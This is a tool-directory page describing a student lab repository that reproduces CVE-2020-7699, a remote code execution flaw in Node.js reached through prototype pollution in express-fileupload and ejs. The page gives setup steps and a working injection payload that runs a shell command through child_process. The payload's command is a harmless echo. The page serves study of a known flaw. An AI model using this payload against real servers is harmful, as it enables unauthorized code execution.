Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-7699_reproduce — 针对 CVE-2020-7699 的复现,软件安全原理课程大作业 | Kitploit
Tools/GitHubGitHub/zodiac12-pub/cve-2020-7699_reproduce
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentLabs & Practice
GitHubzodiac12-pub/cve-2020-7699_reproduce

CVE-2020-7699_reproduce

针对 CVE-2020-7699 的复现,软件安全原理课程大作业

View Repository
4 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-7699 Reproduction

Reproduction for Node.js RCE vulnerability(CVE-2020-7699), my lab work

Setup

Node.js edition: v14.16.1, please make sure that the edition of Node.js is 14(Other edition will propably work, I didn't test)

Python edition:3.9.5, Python is only used to send HTTP attack request, no specific edition required

Just clone the repo, npm i to install dependencies. I offered 2 more cmds:

  • using npm run start-server to start the target server(victim server)
  • using npm run launch-attack to launch the attack

Analysis

express-fileUpload: edition below 1.1.10 will be affected

In express-fileUpload exists prototype pollution

Vulnerability: express-fileUpload prototype pollution

How to make use of it: to pollute __proto__.outputFunctionName in order to write the cmd to exec. eg. echo "ATTACK SUCCESSFUL" > attacked.txt

root@kitploit:~
exec_command = "echo \"ATTACK SUCCESSFUL\" > attacked.txt"

{
    "__proto__.outputFunctionName": (
        None,
        f"x;process.mainModule.require('child_process').exec('{exec_command}');x"
    )
}

In ejs exists RCE

Vulnerability: ejs will try to execute xxx.outputFunctionName which is undefined, but if object.outputFunctionName is polluted, it'll exec it instead

Download Tool